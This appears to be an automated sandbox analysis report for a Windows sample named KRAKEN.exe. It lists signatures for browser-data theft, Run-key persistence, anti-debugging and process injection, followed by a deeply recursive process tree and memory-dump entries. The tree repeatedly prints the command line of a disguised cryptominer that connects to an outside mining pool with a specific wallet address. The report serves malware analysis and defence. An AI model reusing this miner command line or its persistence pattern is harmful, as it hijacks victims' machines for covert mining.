Analysis

  • max time kernel
    152s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    12/01/2022, 09:58

General

  • Target
    KRAKEN.exe
  • Size 13.8MB
  • Sample220112-lzhthacbhm
  • SHA256 00caa54a646237cf00f305613cdd9e0e8dd8e4dcd9706bbdfc71e22f6e673683
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Executes dropped EXE 21 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 24 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 18 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs
  • Suspicious use of SetThreadContext 36 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\KRAKEN.exe
    "C:\Users\Admin\AppData\Local\Temp\KRAKEN.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1692
    • C:\Users\Admin\AppData\Roaming\1.exe
      C:\Users\Admin\AppData\Roaming\1.exe
      2⤵
      • Executes dropped EXE
      PID:1468
    • C:\Users\Admin\AppData\Roaming\2.exe
      C:\Users\Admin\AppData\Roaming\2.exe
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:576
    • C:\Users\Admin\AppData\Roaming\3.exe
      C:\Users\Admin\AppData\Roaming\3.exe
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:1632
      • C:\Windows\bfsvc.exe
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
        3⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        PID:396
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        3⤵
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1368
        • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:1340
          • C:\Windows\bfsvc.exe
            C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
            5⤵
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            PID:1720
          • C:\Windows\explorer.exe
            "C:\Windows\explorer.exe"
            5⤵
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            PID:1532
            • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
              "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
              6⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              PID:872
              • C:\Windows\bfsvc.exe
                C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
                7⤵
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                PID:1684
              • C:\Windows\explorer.exe
                "C:\Windows\explorer.exe"
                7⤵
                • Loads dropped DLL
                • Suspicious behavior: EnumeratesProcesses
                PID:1668
                • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                  "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                  8⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious use of SetThreadContext
                  PID:1388
                  • C:\Windows\bfsvc.exe
                    C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
                    9⤵
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    PID:432
                  • C:\Windows\explorer.exe
                    "C:\Windows\explorer.exe"
                    9⤵
                    • Loads dropped DLL
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1368
                    • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                      "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                      10⤵
                      • Executes dropped EXE
                      • Adds Run key to start application
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • Suspicious use of SetThreadContext
                      PID:1556
                      • C:\Windows\bfsvc.exe
                        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
                        11⤵
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        PID:852
                      • C:\Windows\explorer.exe
                        "C:\Windows\explorer.exe"
                        11⤵
                        • Loads dropped DLL
                        • Suspicious behavior: EnumeratesProcesses
                        PID:916
                        • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                          "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                          12⤵
                          • Executes dropped EXE
                          • Adds Run key to start application
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • Suspicious use of SetThreadContext
                          PID:1968
                          • C:\Windows\bfsvc.exe
                            C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
                            13⤵
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            PID:320
                          • C:\Windows\explorer.exe
                            "C:\Windows\explorer.exe"
                            13⤵
                            • Loads dropped DLL
                            • Suspicious behavior: EnumeratesProcesses
                            PID:1688
                            • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                              "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                              14⤵
                              • Executes dropped EXE
                              • Adds Run key to start application
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • Suspicious use of SetThreadContext
                              PID:1316
                              • C:\Windows\bfsvc.exe
                                C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
                                15⤵
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                PID:1964
                              • C:\Windows\explorer.exe
                                "C:\Windows\explorer.exe"
                                15⤵
                                • Loads dropped DLL
                                • Suspicious behavior: EnumeratesProcesses
                                PID:1764
                                • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                                  "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                                  16⤵
                                  • Executes dropped EXE
                                  • Adds Run key to start application
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • Suspicious use of SetThreadContext
                                  PID:596
                                  • C:\Windows\bfsvc.exe
                                    C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
                                    17⤵
                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                    PID:1708
                                  • C:\Windows\explorer.exe
                                    "C:\Windows\explorer.exe"
                                    17⤵
                                    • Loads dropped DLL
                                    PID:2040
                                    • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                                      "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                                      18⤵
                                      • Executes dropped EXE
                                      • Adds Run key to start application
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • Suspicious use of SetThreadContext
                                      PID:1096
                                      • C:\Windows\bfsvc.exe
                                        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
                                        19⤵
                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                        PID:764
                                      • C:\Windows\explorer.exe
                                        "C:\Windows\explorer.exe"
                                        19⤵
                                        • Loads dropped DLL
                                        PID:1312
                                        • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                                          "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                                          20⤵
                                          • Executes dropped EXE
                                          • Adds Run key to start application
                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                          • Suspicious use of SetThreadContext
                                          PID:1140
                                          • C:\Windows\bfsvc.exe
                                            C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
                                            21⤵
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:1048
                                          • C:\Windows\explorer.exe
                                            "C:\Windows\explorer.exe"
                                            21⤵
                                            • Loads dropped DLL
                                            PID:2024
                                            • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                                              "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                                              22⤵
                                              • Executes dropped EXE
                                              • Adds Run key to start application
                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                              • Suspicious use of SetThreadContext
                                              PID:1572
                                              • C:\Windows\bfsvc.exe
                                                C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
                                                23⤵
                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                PID:2028
                                              • C:\Windows\explorer.exe
                                                "C:\Windows\explorer.exe"
                                                23⤵
                                                • Loads dropped DLL
                                                PID:1268
                                                • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                                                  "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                                                  24⤵
                                                  • Executes dropped EXE
                                                  • Adds Run key to start application
                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                  • Suspicious use of SetThreadContext
                                                  PID:2012
                                                  • C:\Windows\bfsvc.exe
                                                    C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
                                                    25⤵
                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                    PID:1608
                                                  • C:\Windows\explorer.exe
                                                    "C:\Windows\explorer.exe"
                                                    25⤵
                                                    • Loads dropped DLL
                                                    PID:1504
                                                    • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                                                      "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                                                      26⤵
                                                      • Executes dropped EXE
                                                      • Adds Run key to start application
                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                      • Suspicious use of SetThreadContext
                                                      PID:1616
                                                      • C:\Windows\bfsvc.exe
                                                        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
                                                        27⤵
                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                        PID:1316
                                                      • C:\Windows\explorer.exe
                                                        "C:\Windows\explorer.exe"
                                                        27⤵
                                                        • Loads dropped DLL
                                                        PID:1764
                                                        • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                                                          "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                                                          28⤵
                                                          • Executes dropped EXE
                                                          • Adds Run key to start application
                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                          • Suspicious use of SetThreadContext
                                                          PID:1372
                                                          • C:\Windows\bfsvc.exe
                                                            C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
                                                            29⤵
                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                            PID:524
                                                          • C:\Windows\explorer.exe
                                                            "C:\Windows\explorer.exe"
                                                            29⤵
                                                            • Loads dropped DLL
                                                            PID:1584
                                                            • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                                                              "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                                                              30⤵
                                                              • Executes dropped EXE
                                                              • Adds Run key to start application
                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                              • Suspicious use of SetThreadContext
                                                              PID:1432
                                                              • C:\Windows\bfsvc.exe
                                                                C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
                                                                31⤵
                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                PID:1500
                                                              • C:\Windows\explorer.exe
                                                                "C:\Windows\explorer.exe"
                                                                31⤵
                                                                • Loads dropped DLL
                                                                PID:1568
                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                                                                  "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                                                                  32⤵
                                                                  • Executes dropped EXE
                                                                  • Adds Run key to start application
                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                  • Suspicious use of SetThreadContext
                                                                  PID:896
                                                                  • C:\Windows\bfsvc.exe
                                                                    C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
                                                                    33⤵
                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                    PID:1776
                                                                  • C:\Windows\explorer.exe
                                                                    "C:\Windows\explorer.exe"
                                                                    33⤵
                                                                    • Loads dropped DLL
                                                                    PID:1808
                                                                    • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                                                                      "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                                                                      34⤵
                                                                      • Executes dropped EXE
                                                                      • Adds Run key to start application
                                                                      • Suspicious use of SetThreadContext
                                                                      PID:2016
                                                                      • C:\Windows\bfsvc.exe
                                                                        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
                                                                        35⤵
                                                                          PID:596
                                                                        • C:\Windows\explorer.exe
                                                                          "C:\Windows\explorer.exe"
                                                                          35⤵
                                                                          • Loads dropped DLL
                                                                          PID:556
                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                                                                            "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                                                                            36⤵
                                                                            • Executes dropped EXE
                                                                            • Adds Run key to start application
                                                                            • Suspicious use of SetThreadContext
                                                                            PID:276
                                                                            • C:\Windows\bfsvc.exe
                                                                              C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
                                                                              37⤵
                                                                                PID:432
                                                                              • C:\Windows\explorer.exe
                                                                                "C:\Windows\explorer.exe"
                                                                                37⤵
                                                                                • Loads dropped DLL
                                                                                PID:660
                                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
                                                                                  "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
                                                                                  38⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:788

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            memory/276-547-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

            memory/396-70-0x0000000140000000-0x0000000140815000-memory.dmp

            memory/396-76-0x0000000140000000-0x0000000140815000-memory.dmp

            memory/396-72-0x0000000140000000-0x0000000140815000-memory.dmp

            memory/396-77-0x0000000140000000-0x0000000140815000-memory.dmp

            memory/396-78-0x0000000140000000-0x0000000140815000-memory.dmp

            memory/396-71-0x0000000140000000-0x0000000140815000-memory.dmp

            memory/396-73-0x0000000140000000-0x0000000140815000-memory.dmp

            memory/396-75-0x0000000140000000-0x0000000140815000-memory.dmp

            memory/396-74-0x0000000140000000-0x0000000140815000-memory.dmp

            memory/396-79-0x0000000140000000-0x0000000140815000-memory.dmp

            memory/396-91-0x0000000140000000-0x0000000140815000-memory.dmp

            memory/596-267-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

            memory/872-128-0x000000013F080000-0x00000001406FF000-memory.dmp

            memory/872-129-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

            memory/872-127-0x000000013F080000-0x00000001406FF000-memory.dmp

            memory/896-492-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

            memory/1096-299-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

            memory/1140-324-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

            memory/1316-241-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

            memory/1340-99-0x000000013FFF0000-0x000000014166F000-memory.dmp

            memory/1340-101-0x000000013FFF0000-0x000000014166F000-memory.dmp

            memory/1340-100-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

            memory/1368-83-0x0000000140000000-0x0000000140022000-memory.dmp

            memory/1368-88-0x0000000140000000-0x0000000140022000-memory.dmp

            memory/1368-92-0x000007FEFB9C1000-0x000007FEFB9C3000-memory.dmp

            memory/1368-86-0x0000000140000000-0x0000000140022000-memory.dmp

            memory/1368-98-0x0000000140000000-0x0000000140022000-memory.dmp

            memory/1368-82-0x0000000140000000-0x0000000140022000-memory.dmp

            memory/1368-89-0x0000000140000000-0x0000000140022000-memory.dmp

            memory/1368-81-0x0000000140000000-0x0000000140022000-memory.dmp

            memory/1368-87-0x0000000140000000-0x0000000140022000-memory.dmp

            memory/1368-85-0x0000000140000000-0x0000000140022000-memory.dmp

            memory/1368-84-0x0000000140000000-0x0000000140022000-memory.dmp

            memory/1372-435-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

            memory/1388-156-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

            memory/1432-463-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

            memory/1468-57-0x0000000000290000-0x00000000002F0000-memory.dmp

            memory/1556-183-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

            memory/1572-358-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

            memory/1616-407-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

            memory/1632-68-0x000000013F650000-0x0000000140CCF000-memory.dmp

            memory/1632-67-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

            memory/1632-69-0x000000013F650000-0x0000000140CCF000-memory.dmp

            memory/1692-53-0x0000000075B51000-0x0000000075B53000-memory.dmp

            memory/1968-211-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

            memory/2012-383-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

            memory/2016-519-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp